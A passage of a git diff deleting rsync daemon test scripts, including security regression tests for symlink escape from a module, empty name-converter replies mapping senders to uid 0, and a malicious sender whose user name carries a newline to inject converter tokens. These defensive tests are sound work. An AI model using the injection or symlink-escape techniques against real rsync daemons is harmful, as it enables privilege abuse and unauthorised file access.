text=True)\n-\n-if CANARY in proc.stdout:\n-    test_fail(\n-        f\"daemon module-root chdir followed a planted parent-component \"\n-        f\"symlink (owned by uid {NOBODY_UID}): {plant} -> {escape_target} \"\n-        f\"was traversed by the plain chdir() in change_dir(), and the daemon \"\n-        f\"is now serving files from the escape target (canary \"\n-        f\"{CANARY!r} appeared in the module listing). Fix: per-component \"\n-        \"owned-by-trusted-uid path walk in change_dir's absolute-path branch \"\n-        \"under am_daemon && !am_chrooted.\")\ndiff --git a/testsuite/daemon-module-options_test.py b/testsuite/daemon-module-options_test.py\ndeleted file mode 100644\nindex 88fad87..0000000\n--- a/testsuite/daemon-module-options_test.py\n+++ /dev/null\n@@ -1,146 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: assorted rsyncd.conf module/global options whose code\n-paths the suite never exercised.  One test, many small option-gates --\n-each is a handful of lines but together they were a measurable gap.\n-\n-Covers (all in clientserver.c rsync_module() / send_listing() unless noted):\n-  motd file                global  -> read+echo via open_no_attacker_symlinks\n-  socket options           global  -> set_socket_options() (socket.c) on the\n-                                      daemon's per-connection fd\n-  incoming chmod           module  -> parse_chmod into daemon_chmod_modes\n-  outgoing chmod           module  -> same, am_sender branch\n-  dont compress            module  -> token.c init_set_compression's\n-                                      lp_dont_compress() / `dont compress`\n-                                      daemon-side suffix list under -z\n-  list = no                module  -> the \"(list=no)\" skip in send_listing()\n-  comment                  module  -> printed in send_listing()\n-  --sockopts               client  -> set_socket_options() at connect() time\n-\n-`motd file` and `socket options` need a real TCP daemon (the\n-RSYNC_CONNECT_PROG pipe transport bypasses send_listing/motd and there's\n-no socket fd to setsockopt on), so this test is require_tcp()-gated.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, FROMDIR,\n-    claim_ports, make_tree, makepath, require_tcp, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-require_tcp(\"motd/socket-options need a real socket\")\n-\n-PORT = 19884\n-claim_ports(PORT)\n-\n-src = FROMDIR\n-dst_in = SCRATCHDIR / 'dest-modopt-in'\n-dst_out = SCRATCHDIR / 'dest-modopt-out'\n-dst_hidden = SCRATCHDIR / 'dest-modopt-hidden'\n-for d in (src, dst_in, dst_out, dst_hidden):\n-    rmtree(d)\n-make_tree(src, depth=1)\n-makepath(dst_in, dst_out, dst_hidden)\n-# Seed the outgoing module so a PULL has content for `outgoing chmod`.\n-(dst_out / 'o0').write_text('out\\n')\n-(dst_out / 'o0').chmod(0o644)\n-\n-motd = SCRATCHDIR / 'motd.txt'\n-motd.write_text('** TEST MOTD BANNER **\\n')\n-\n-mods = [\n-    ('inmod', {\n-        'path': str(dst_in), 'read only': 'no',\n-        'incoming chmod': 'Fu+x,g-w,o=r',\n-        # daemon-side suffix list (token.c lp_dont_compress(), distinct from\n-        # the client --skip-compress path the existing tests already cover)\n-        'dont compress': '*.gz *.bz2',\n-        'comment': 'incoming-chmod test module',\n-    }),\n-    ('outmod', {\n-        'path': str(dst_out), 'read only': 'yes',\n-        'outgoing chmod': 'F-x,o-rwx',\n-        'comment': 'outgoing-chmod test module',\n-    }),\n-    ('hidden', {\n-        'path': str(dst_hidden), 'read only': 'no',\n-        'list': 'no',\n-    }),\n-]\n-conf = write_daemon_conf(\n-    mods,\n-    globals={\n-        'motd file': str(motd),\n-        # OPT_BOOL + OPT_INT= + OPT_ON, plus an unknown to hit the\n-        # \"Unknown socket option\" branch.\n-        'socket options': 'SO_KEEPALIVE SO_RCVBUF=8192 SO_BROADCAST NOSUCHOPT',\n-    },\n-    name='module-options.conf',\n-)\n-url = start_test_daemon(conf, PORT)\n-\n-\n-# --- module listing: motd echoed, [hidden] absent, comments shown ----------\n-# A bare daemon URL (ends in '/') with no destination = module listing.\n-r = subprocess.run(rsync_argv(f'{url}'), capture_output=True, text=True)\n-if r.returncode != 0:\n-    test_fail(f\"module listing failed (rc={r.returncode}):\\n{r.stderr}\")\n-if 'TEST MOTD BANNER' not in r.stdout:\n-    test_fail(f\"motd file content not echoed to client:\\n{r.stdout!r}\")\n-if 'hidden' in r.stdout:\n-    test_fail(f\"list=no module 'hidden' leaked into listing:\\n{r.stdout}\")\n-if 'inmod' not in r.stdout or 'outmod' not in r.stdout:\n-    test_fail(f\"expected modules missing from listing:\\n{r.stdout}\")\n-# The comment column: send_listing() prints \"name\\tcomment\\n\" per module.\n-if 'incoming-chmod test module' not in r.stdout:\n-    test_fail(f\"module comment missing from listing:\\n{r.stdout!r}\")\n-\n-# --- incoming chmod: push, then check Fu+x,g-w,o=r applied -----------------\n-r = subprocess.run(\n-    rsync_argv('-rzp', '--sockopts=SO_KEEPALIVE,SO_SNDBUF=8192',\n-               f'{src}/', f'{url}inmod/'),\n-    capture_output=True, text=True,\n-)\n-if r.returncode != 0:\n-    test_fail(f\"push to [inmod] failed (rc={r.returncode}):\\n{r.stderr}\")\n-# Find any regular file in dst_in and check the mode bits.\n-for f in dst_in.rglob('*'):\n-    if f.is_file():\n-        m = f.stat().st_mode & 0o777\n-        # Fu+x -> u has x; g-w -> g has no w; o=r -> other == r exactly\n-        if not (m & 0o100):\n-            test_fail(f\"incoming chmod Fu+x not applied to {f.name}: {oct(m)}\")\n-        if m & 0o020:\n-            test_fail(f\"incoming chmod g-w not applied to {f.name}: {oct(m)}\")\n-        if (m & 0o007) != 0o004:\n-            test_fail(f\"incoming chmod o=r not applied to {f.name}: {oct(m)}\")\n-        break\n-else:\n-    test_fail(\"push to [inmod] produced no regular files\")\n-\n-# --- outgoing chmod: pull, then check F-x,o-rwx applied to received perms --\n-pull_dst = SCRATCHDIR / 'pull-outmod'\n-rmtree(pull_dst); makepath(pull_dst)\n-r = subprocess.run(\n-    rsync_argv('-rp', f'{url}outmod/', f'{pull_dst}/'),\n-    capture_output=True, text=True,\n-)\n-if r.returncode != 0:\n-    test_fail(f\"pull from [outmod] failed (rc={r.returncode}):\\n{r.stderr}\")\n-m = (pull_dst / 'o0').stat().st_mode & 0o777\n-if m & 0o111:\n-    test_fail(f\"outgoing chmod F-x not applied: {oct(m)}\")\n-if m & 0o007:\n-    test_fail(f\"outgoing chmod o-rwx not applied: {oct(m)}\")\n-\n-# --- list=no module is still REACHABLE by name -----------------------------\n-r = subprocess.run(rsync_argv('-r', f'{src}/', f'{url}hidden/'),\n-                   capture_output=True, text=True)\n-if r.returncode != 0:\n-    test_fail(f\"push to list=no [hidden] should still work by name \"\n-              f\"(rc={r.returncode}):\\n{r.stderr}\")\n-\n-print(\"daemon-module-options: motd, socket options, --sockopts, \"\n-      \"incoming/outgoing chmod, dont compress, list=no, comment ok\")\ndiff --git a/testsuite/daemon-module-private-parent_test.py b/testsuite/daemon-module-private-parent_test.py\ndeleted file mode 100644\nindex 599d37d..0000000\n--- a/testsuite/daemon-module-private-parent_test.py\n+++ /dev/null\n@@ -1,103 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon must serve a module whose path lies under a directory the SERVED\n-# (dropped-privilege) uid cannot traverse.\n-#\n-# The daemon chdir's into the module root while still root, then drops to the\n-# module uid; both the directory scan AND the file-content open must resolve\n-# relative to that pinned root, NOT re-walk the absolute module path -- which\n-# re-traverses the module's ancestors as the unprivileged uid and EACCESes.  The\n-# common real-world shape is a module under a 0700 home (path = /home/backup/data);\n-# here we plant an explicit 0700 parent so the test is deterministic and\n-# independent of where the suite is built.\n-#\n-# RED before the privilege-drop-safe anchoring (the daemon's directory scan, or\n-# send_files' content open, fails with \"Permission denied\"); GREEN after.\n-# Requires root (a 0700 parent the served uid cannot traverse, and a daemon that\n-# drops to an unprivileged uid).\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12951\n-CONTENT = \"served-from-under-a-private-parent\\n\"\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root (a 0700 parent the served uid cannot traverse, \"\n-                 \"and a daemon that drops to an unprivileged uid)\")\n-\n-UNPRIV = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name)\n-        if u.pw_uid != 0 and u.pw_uid != os.geteuid():\n-            UNPRIV = u\n-            break\n-    except KeyError:\n-        continue\n-if UNPRIV is None:\n-    test_skipped(\"no unprivileged uid available to drop the daemon to\")\n-\n-base = SCRATCHDIR / 'priv-parent'\n-rmtree(base)\n-# A 0700 root-owned parent the served uid cannot search.  The module lives under\n-# it; its own contents are world-readable so serving works once the daemon is\n-# inside (it chdir'd in while still root).\n-private = base / 'private'\n-modpath = private / 'mod'\n-sub = modpath / 'sub'\n-makepath(sub)\n-(sub / 'file').write_text(CONTENT)\n-os.chmod(modpath, 0o755)\n-os.chmod(sub, 0o755)\n-os.chmod(sub / 'file', 0o644)\n-os.chmod(private, 0o700)          # <-- the barrier: unsearchable to UNPRIV\n-\n-dest = base / 'dest'\n-makepath(dest)\n-\n-# Numeric uid/gid so we don't depend on a group named like the user (e.g.\n-# \"nobody\" is a user but the group is \"nogroup\" on Debian/Ubuntu).\n-conf = write_daemon_conf([\n-    ('m', {'path': modpath, 'read only': 'yes',\n-           'uid': str(UNPRIV.pw_uid), 'gid': str(UNPRIV.pw_gid)}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-def pull(*opts):\n-    \"\"\"Pull the module to a fresh dest with the given options; assert it serves\n-    sub/file (the content open under the 0700 parent must not EACCES).\"\"\"\n-    rmtree(dest)\n-    makepath(dest)\n-    proc = subprocess.run(\n-        rsync_argv(*opts, f'{url}m/', f'{dest}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)\n-    if proc.returncode != 0:\n-        test_fail(\n-            f\"daemon failed to serve a module under a 0700 parent as uid \"\n-            f\"{UNPRIV.pw_name} ({' '.join(opts)}): {proc.stderr.strip()!r}.  The \"\n-            \"scan and the content open must resolve relative to the module root \"\n-            \"the daemon pinned while privileged, not re-walk the absolute module \"\n-            \"path (which EACCESes on the 0700 ancestor under the dropped uid).\")\n-    got = dest / 'sub' / 'file'\n-    if not got.is_file() or got.read_text() != CONTENT:\n-        test_fail(f\"the under-0700-parent module did not serve its file with \"\n-                  f\"'{' '.join(opts)}' (dest/sub/file missing/wrong)\")\n-\n-\n-# Default mode: content open via sender_open_confined() -> held_dir_path_fd()\n-# (the dpc base open).\n-pull('-r')\n-# Symlink-following mode: content open via sender_open_copylinks_confined() ->\n-# secure_relative_open(module_dir, ...) -- the other re-walk site (covers the\n-# absolute-basedir branch of the resolver).\n-pull('-rL')\n-\n-print(\"daemon-module-private-parent: served a module under a 0700 parent as \"\n-      f\"uid {UNPRIV.pw_name} (default + --copy-links content opens)\")\ndiff --git a/testsuite/daemon-munge_test.py b/testsuite/daemon-munge_test.py\ndeleted file mode 100644\nindex 05fdb46..0000000\n--- a/testsuite/daemon-munge_test.py\n+++ /dev/null\n@@ -1,53 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: munge symlinks.\n-\n-A module with \"munge symlinks = yes\" stores incoming symlinks with a\n-/rsyncd-munged/ prefix (so they can't be used to escape the module) and strips\n-that prefix from outgoing symlinks. Verify both directions on a symlink several\n-levels deep.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    assert_is_symlink, make_tree, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12890\n-\n-src = FROMDIR\n-deep = os.path.join('d1', 'd2')\n-rmtree(src)\n-make_tree(src, depth=3)\n-os.symlink('f3', src / deep / 'sl')          # deep symlink -> f3\n-\n-mungedest = SCRATCHDIR / 'mungedest'\n-pulled = SCRATCHDIR / 'mungepull'\n-for d in (mungedest, pulled):\n-    rmtree(d)\n-makepath(mungedest, pulled)\n-\n-conf = write_daemon_conf([\n-    ('munge', {'path': mungedest, 'read only': 'no', 'munge symlinks': 'yes'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# --- push: the stored symlink is munged with the /rsyncd-munged/ prefix ------\n-subprocess.run(rsync_argv('-al', f'{src}/', f'{url}munge/'),\n-               stdout=subprocess.DEVNULL)\n-stored = mungedest / deep / 'sl'\n-assert_is_symlink(stored, label='munge stored symlink')\n-target = os.readlink(stored)\n-if target != '/rsyncd-munged/f3':\n-    test_fail(f\"munge symlinks stored {target!r}, expected '/rsyncd-munged/f3'\")\n-\n-# --- pull: the prefix is stripped back off on the way out -------------------\n-subprocess.run(rsync_argv('-al', f'{url}munge/', f'{pulled}/'),\n-               stdout=subprocess.DEVNULL)\n-out = pulled / deep / 'sl'\n-assert_is_symlink(out, target='f3', label='munge stripped on pull')\n-\n-print(\"daemon-munge: munge symlinks adds/strips /rsyncd-munged/ at depth\")\ndiff --git a/testsuite/daemon-namecvt-empty-response_test.py b/testsuite/daemon-namecvt-empty-response_test.py\ndeleted file mode 100644\nindex 2967afb..0000000\n--- a/testsuite/daemon-namecvt-empty-response_test.py\n+++ /dev/null\n@@ -1,191 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon-side `name converter` empty-line response is treated as success\n-# with id=0, mapping unknown sender names to uid/gid 0.\n-#\n-# Threat (Mitchell Benjamin report, May 2026):\n-#   The documented helper contract (support/nameconvert:14) is\n-#       \"An unknown ID_NUM or NAME results in an empty return value.\"\n-#   But namecvt_call() in clientserver.c:1227 does:\n-#       if (!read_line_old(namecvt_fd_ans, buf, sizeof buf, 0))\n-#           return False;\n-#       if (*name_p)\n-#           *id_p = (id_t)atol(buf);              <-- atol(\"\") == 0\n-#       else\n-#           *name_p = strdup(buf);\n-#       return True;\n-#   So an empty response is read successfully and atol(\"\") = 0 is treated\n-#   as a valid mapping.  user_to_uid()/group_to_gid() then return success\n-#   with *uid_p = 0 / *gid_p = 0.  Receiver recv_add_id() (uidlist.c:273)\n-#   uses that as the local id, and with `fake super = yes` the file's\n-#   xattr ends up with \"MODE 0,0 0:0\" — root-owned setuid metadata that\n-#   a fake-super restore/list view honours as a real root-owned file.\n-#\n-# Test design:\n-#   * A stub name-converter that always prints an empty line, no matter\n-#     what the daemon asks.  This simulates the \"every sender name is\n-#     unknown to the daemon\" case (the report did the same thing via an\n-#     NSS shim; the stub is equivalent and far easier).\n-#   * Daemon module: read only=no, fake super=yes, name converter=stub,\n-#     numeric ids=no, so the receiver looks up the sender's user/group\n-#     names through the stub.\n-#   * Client uploads a regular file under the current user's identity\n-#     (a non-root uid/gid).\n-#   * After upload, read user.rsync.%stat xattr on the stored file.\n-#     Format is \"MODE 0,0 UID:GID\".  If UID is 0 (and sender's uid was\n-#     non-zero), the bug is present.\n-#\n-# Fix direction:\n-#   In namecvt_call(), for the name-to-id branch, treat empty/non-numeric\n-#   buf as lookup failure (return False).  recv_add_id then falls back\n-#   to the sender's numeric id (uidlist.c:276), so unknown names stay\n-#   non-root.\n-\n-import os\n-import re\n-import subprocess\n-\n-from rsyncfns import (\n-    RSYNC_PREFIX, SCRATCHDIR, _xattr_full, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-    xattrs_supported,\n-)\n-\n-# Skips as root (see the my_uid==0 guard below), so the fleet harness reruns it\n-# in its non-root pass to get real coverage (testsuite/fleettest.py).\n-fleet_nonroot = True\n-\n-DAEMON_PORT = 12904\n-\n-if not xattrs_supported():\n-    test_skipped(\"namecvt-empty-response test requires xattr support to \"\n-                 \"read fake-super metadata\")\n-\n-if not hasattr(os, 'getxattr'):\n-    # CPython exposes os.getxattr only on Linux; the OS (e.g. Cygwin) may have\n-    # xattrs yet no Python binding to read the fake-super %stat metadata.\n-    test_skipped(\"this Python build lacks os.getxattr to read fake-super metadata\")\n-\n-my_uid = os.getuid()\n-my_gid = os.getgid()\n-if my_uid == 0:\n-    # Running as root would defeat the test: any namecvt mapping that\n-    # ends in id=0 is indistinguishable from \"the sender was already\n-    # root.\"  We need a non-zero sender id so the bug-vs-fix branches\n-    # produce different xattr UIDs.\n-    # NOTE: because every Linux CI job runs the suite as root, this test only\n-    # gets coverage from the dedicated non-root run -- the \"check (non-root,\n-    # targeted)\" step in .github/workflows/ubuntu-build.yml. Any new non-root-\n-    # only test must be added to that step (and declare `fleet_nonroot = True`\n-    # for the fleet harness's non-root pass) or it will silently never run in CI.\n-    test_skipped(\"namecvt-empty-response test must run as a non-root user \"\n-                 \"(sender uid/gid must differ from 0 to expose the bug)\")\n-\n-\n-# -- stub name-converter that always returns empty -------------------------\n-stub = SCRATCHDIR / 'stub_nameconvert'\n-stub.write_text(\n-    \"#!/usr/bin/env python3\\n\"\n-    \"# Always-empty stub: every usr/grp/uid/gid lookup answers ''.\\n\"\n-    \"# The bundled support/nameconvert helper does this only when the\\n\"\n-    \"# lookup fails (KeyError); the namecvt_call() bug treats the empty\\n\"\n-    \"# line as a valid numeric 0.\\n\"\n-    \"import sys\\n\"\n-    \"for _ in sys.stdin:\\n\"\n-    \"    print('', flush=True)\\n\"\n-)\n-stub.chmod(0o755)\n-\n-\n-mod = SCRATCHDIR / 'recvmod'\n-src = SCRATCHDIR / 'srcdir'   # NOT 'src' -- runtests.py:155 plants\n-                              # a <scratch>/src symlink to SRCDIR for\n-                              # every test, so writing files under it\n-                              # would land in the repo working tree.\n-rmtree(mod)\n-rmtree(src)\n-makepath(mod)\n-makepath(src)\n-(src / 'f').write_text(\"DATA\\n\")\n-\n-\n-conf = write_daemon_conf([\n-    ('recv', {'path':           str(mod),\n-              'read only':      'no',\n-              'fake super':     'yes',\n-              'numeric ids':    'no',\n-              'name converter': str(stub)}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-# -- positive control: upload a file -------------------------------------\n-# `-a` includes owner+group preservation, and the receiver (daemon w/\n-# fake-super) writes the metadata into user.rsync.%stat.\n-proc = subprocess.run(rsync_argv('-a', f'{src}/', f'{url}recv/'),\n-                      stdout=subprocess.DEVNULL,\n-                      stderr=subprocess.PIPE, text=True)\n-if proc.returncode not in (0, 23):\n-    test_fail(f\"upload to recv module failed (rc={proc.returncode}): \"\n-              f\"{proc.stderr!r}\")\n-\n-stored = mod / 'f'\n-if not stored.is_file():\n-    test_fail(f\"upload did not deliver the file ({stored})\")\n-\n-\n-# -- read the fake-super xattr ------------------------------------------\n-# Fake-super only stores an xattr when the metadata to remember DIFFERS\n-# from the filesystem reality (rsync.c:526:\n-#   change_uid = am_root && uid_ndx && sxp->st.st_uid != F_OWNER(file)).\n-# With the FIX:\n-#   * namecvt empty -> user_to_uid returns 0 (failure)\n-#   * recv_add_id() falls back to the sender's numeric id\n-#   * F_OWNER == filesystem-creation uid (both are `my_uid`)\n-#   * no xattr is written.\n-# With the BUG:\n-#   * namecvt empty -> user_to_uid returns success with id=0\n-#   * F_OWNER becomes 0, filesystem uid is `my_uid`, they differ\n-#   * xattr is written carrying \"0:0\" -- that is the leak we detect.\n-#\n-# So we check: if an xattr IS present, parse it and confirm it does not\n-# encode 0:0.  If no xattr is present we infer the namecvt path did not\n-# fabricate a phantom id=0 -- the metadata simply matches reality.\n-xkey = _xattr_full(RSYNC_PREFIX + '.%stat')   # 'user.rsync.%stat' on Linux\n-try:\n-    raw = os.getxattr(str(stored), xkey)\n-    xval = raw.decode('utf-8', 'surrogateescape')\n-except OSError:\n-    xval = None\n-\n-if xval is None:\n-    # No fake-super xattr stored: metadata matched the filesystem, which\n-    # is what the fix produces because F_OWNER == my_uid == filesystem\n-    # uid.  That is the GREEN signal.\n-    print(f\"daemon-namecvt-empty-response: no fake-super xattr written -- \"\n-          f\"namecvt empty response was correctly treated as a lookup \"\n-          f\"failure, so recv_add_id() kept sender uid={my_uid} and the \"\n-          f\"receiver had nothing to remember separately from the \"\n-          f\"filesystem.\")\n-else:\n-    # An xattr is present.  user.rsync.%stat format:\n-    #   \"MODE DEV_MAJOR,DEV_MINOR UID:GID\"\n-    # The leak case is UID:GID == 0:0 .\n-    m = re.match(r'\\S+\\s+\\S+\\s+(\\d+):(\\d+)\\s*$', xval)\n-    if not m:\n-        test_fail(f\"unrecognised fake-super xattr format: {xval!r}\")\n-    stored_uid, stored_gid = int(m.group(1)), int(m.group(2))\n-\n-    if stored_uid == 0 and stored_gid == 0:\n-        test_fail(\n-            f\"namecvt empty response was treated as a valid id=0 \"\n-            f\"mapping: file uploaded by uid={my_uid}/gid={my_gid} is \"\n-            f\"stored with fake-super metadata {xval!r} (uid:gid = 0:0). \"\n-            f\" This means a daemon-unknown sender name silently becomes \"\n-            f\"root-owned in preserved metadata.  Fix: namecvt_call() \"\n-            f\"must treat an empty buf as lookup failure (return False) \"\n-            f\"so recv_add_id() falls back to the sender's numeric id \"\n-            f\"(clientserver.c:1227, uidlist.c:273-282).\")\n-\n-    print(f\"daemon-namecvt-empty-response: xattr {xval!r} present but \"\n-          f\"non-zero uid/gid -- empty namecvt response did not produce \"\n-          f\"a phantom root-owned mapping.\")\ndiff --git a/testsuite/daemon-namecvt-newline-token_test.py b/testsuite/daemon-namecvt-newline-token_test.py\ndeleted file mode 100644\nindex 5dd21c1..0000000\n--- a/testsuite/daemon-namecvt-newline-token_test.py\n+++ /dev/null\n@@ -1,91 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon with `numeric ids = no` and a `name converter` maps the user/group\n-# names a sender puts in the file list by piping each name to the converter\n-# helper as a whitespace-and-newline-delimited token. A malicious sender that\n-# sends a user name containing a literal newline could inject an extra token (or\n-# a forged converter response) into that pipe. namecvt_call() (clientserver.c)\n-# guards this with namecvt_safe_token(), which refuses any token containing a\n-# control char (< 0x20 or 0x7F) before writing it to the converter.\n-#\n-# This drives the attack with the pure-Python sender rather than a recompiled\n-# malicious binary: push one file-list entry whose XMIT_USER_NAME_FOLLOWS name\n-# is \"bad\\nname\". recv_user_name() -> recv_add_id() -> user_to_uid() ->\n-# namecvt_call() runs during file-list receipt, so no transfer phase is needed.\n-#\n-# Oracle: the converter helper must NOT receive a split \"name\" token (the\n-# newline never reached the pipe) AND the daemon must report \"invalid\n-# name-converter token\" (it refused the control char). Needs a real TCP daemon.\n-\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_tcp, rmtree, start_test_daemon,\n-    test_fail, write_daemon_conf, xattrs_supported,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12974\n-require_tcp(\"the pure-Python sender needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'daemon-namecvt-newline'\n-rmtree(base)\n-dest = base / 'module'\n-makepath(dest)\n-\n-cvt_log = base / 'namecvt.log'\n-converter = base / 'nameconvert'\n-converter.write_text(\n-    \"#!/usr/bin/env python3\\n\"\n-    \"import sys\\n\"\n-    f\"log = open({str(cvt_log)!r}, 'a', buffering=1)\\n\"\n-    \"for line in sys.stdin:\\n\"\n-    \"    log.write(line)\\n\"\n-    \"    print('123', flush=True)\\n\")\n-converter.chmod(0o755)\n-\n-daemon_log = base / 'namecvt-daemon.log'\n-params = {\n-    'path': str(dest),\n-    'read only': 'no',\n-    'use chroot': 'no',\n-    'numeric ids': 'no',\n-    'name converter': str(converter),\n-    'log file': str(daemon_log),\n-}\n-if xattrs_supported():\n-    params['fake super'] = 'yes'\n-conf = write_daemon_conf([('recv', params)], name='namecvt-newline.conf')\n-url = start_test_daemon(conf, PORT)\n-\n-s = rp.DaemonSender('127.0.0.1', PORT)\n-# -o => preserve_uid, so the receiver reads the uid + user name and maps it.\n-s.handshake('recv', ['--server', '-oe.LsfxCIu', '.', 'recv/'], greeting_version=30)\n-# One entry whose owner name carries a literal newline.\n-s.send_flat_flist([rp.FileEntry('f', mode=rp.S_IFREG | 0o644, length=0,\n-                                uid=1, user_name='bad\\nname')])\n-back = s.drain(timeout=3.0)\n-s.close()\n-\n-rejected = b'invalid name-converter token' in back\n-for _ in range(50):\n-    if daemon_log.exists() and 'invalid name-converter token' in daemon_log.read_text(errors='replace'):\n-        rejected = True\n-        break\n-    if rejected:\n-        break\n-    time.sleep(0.1)\n-\n-cvt_lines = cvt_log.read_text().splitlines() if cvt_log.exists() else []\n-if any(line == 'name' for line in cvt_lines):\n-    test_fail(\"name converter received the newline-split tail of a malicious \"\n-              f\"sender user name. Logged requests: {cvt_lines!r}\")\n-if not rejected:\n-    dlog = daemon_log.read_text(errors='replace') if daemon_log.exists() else ''\n-    test_fail(\"daemon accepted a sender-supplied user name containing a newline \"\n-              \"without reporting the name-converter token rejection.\\n\"\n-              f\"client bytes:\\n{back[:400]!r}\\ndaemon log:\\n{dlog}\\n\"\n-              f\"converter requests: {cvt_lines!r}\")\n-\n-print(\"daemon-namecvt-newline-token: daemon rejects newline-bearing \"\n-      \"name-converter tokens\")\ndiff --git a/testsuite/daemon-path-root-read_test.py b/testsuite/daemon-path-root-read_test.py\ndeleted file mode 100644\nindex da1b09d..0000000\n--- a/testsuite/daemon-path-root-read_test.py\n+++ /dev/null\n@@ -1,79 +0,0 @@\n-#!/usr/bin/env python3\n-# Functional regression: a daemon module with `path = /` (use chroot = no)\n-# cannot send ANY file in 3.4.3 -- every read fails with \"Invalid argument (22)\".\n-#\n-# Reported as #897 (\"Regression in 3.4.3, Invalid argument (22) on all file\n-# reads when using native protocol\").  Works in 3.4.2, works over a remote\n-# shell; only the native (daemon) protocol with an absolute module path breaks.\n-#\n-# Root cause: the 3.4.3 symlink-race hardening routes the sender's file open\n-# through secure_relative_open(module_dir, secure_path, ...) (sender.c), where\n-#   secure_path = F_PATHNAME + \"/\" + f_name.\n-# With `path = /` the module-relative F_PATHNAME is itself ABSOLUTE, so\n-# secure_path starts with '/'.  secure_relative_open()'s front door rejects any\n-# absolute relpath with EINVAL *before* it ever calls openat2 (matching the\n-# reporter's strace: the file is stat'd and access()'d but never opened).  The\n-# generator then reports \"send_files failed to open ...: Invalid argument (22)\"\n-# and the whole transfer ends in code 23.\n-#\n-# This is a pure functional regression (no attacker, no symlink): XFAIL until\n-# the sender open is made to tolerate an absolute module-root path (the\n-# accompanying sender.c fix).  Runs at any uid.\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12897\n-\n-# A small source tree under the scratch dir: a file at the served-subdir root\n-# and one nested deeper (the bug fails on EVERY file, regardless of depth).\n-served = SCRATCHDIR / 'served'\n-dst = SCRATCHDIR / 'pulldst'\n-rmtree(served)\n-rmtree(dst)\n-makepath(served / 'sub')\n-makepath(dst)\n-(served / 'README').write_text(\"readme-contents\\n\")\n-(served / 'sub' / 'deep.txt').write_text(\"deep-contents\\n\")\n-\n-# Module rooted at the filesystem root, exactly like the report (path = /,\n-# use chroot = no).  We then request the served subtree by its absolute path\n-# with the leading '/' stripped, so the daemon serves $served from \"/\".\n-conf = write_daemon_conf([\n-    ('root', {'path': '/', 'read only': 'yes'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-served_rel = str(served).lstrip('/')          # e.g. tmp/.../served\n-proc = subprocess.run(\n-    rsync_argv('-a', f'{url}root/{served_rel}/', f'{dst}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True,\n-)\n-out = proc.stdout or ''\n-print(out)\n-\n-# Bug present: the sender refuses to open the files with EINVAL(22).\n-if 'Invalid argument (22)' in out or ('failed to open' in out and proc.returncode != 0):\n-    from rsyncfns import test_xfail\n-    test_xfail(\n-        \"#897: daemon module `path = /` (use chroot = no) cannot send files -- \"\n-        \"`send_files failed to open ...: Invalid argument (22)`.  The sender's \"\n-        \"secure_relative_open(module_dir, secure_path) gets an ABSOLUTE \"\n-        \"secure_path (F_PATHNAME is absolute when path=/) and the front door \"\n-        \"rejects absolute relpaths with EINVAL before any openat2.  To be closed \"\n-        \"by letting the sender open succeed for an absolute module-root path.\")\n-\n-# Bug fixed (or never present): the files transfer intact.\n-if proc.returncode != 0:\n-    test_fail(f\"daemon pull failed unexpectedly (rc={proc.returncode}); \"\n-              f\"not the #897 EINVAL symptom:\\n{out}\")\n-for rel in ('README', 'sub/deep.txt'):\n-    got = dst / rel\n-    if not got.is_file():\n-        test_fail(f\"daemon pull did not deliver {rel} (dst={dst})\")\n-    if got.read_text() != (served / rel).read_text():\n-        test_fail(f\"delivered {rel} content differs from source\")\ndiff --git a/testsuite/daemon-path-rsync-var_test.py b/testsuite/daemon-path-rsync-var_test.py\ndeleted file mode 100644\nindex 283aa6f..0000000\n--- a/testsuite/daemon-path-rsync-var_test.py\n+++ /dev/null\n@@ -1,52 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression: a %RSYNC_*% reference in an ordinary daemon string param\n-# (path/uid/gid/...) must expand to the RAW value, not be shell-quoted.\n-#\n-# The %RSYNC_*% shell-escaping (an injection guard for the shell-executed hooks:\n-# pre/post-xfer exec, early exec, name converter) leaked into the shared\n-# expand_vars() used by every string accessor.  So `path = /srv/%RSYNC_MODULE_NAME%`\n-# expanded to /srv/'served' and the documented `path = /home/%RSYNC_USER_NAME%`\n-# (rsyncd.conf.5) broke with \"@ERROR: chdir failed\".  Now only the hook\n-# accessors escape; ordinary params expand verbatim.\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12906\n-\n-base = SCRATCHDIR / 'daemon-path-var'\n-rmtree(base)\n-# The module's real path is <root>/<module-name>; the conf references it 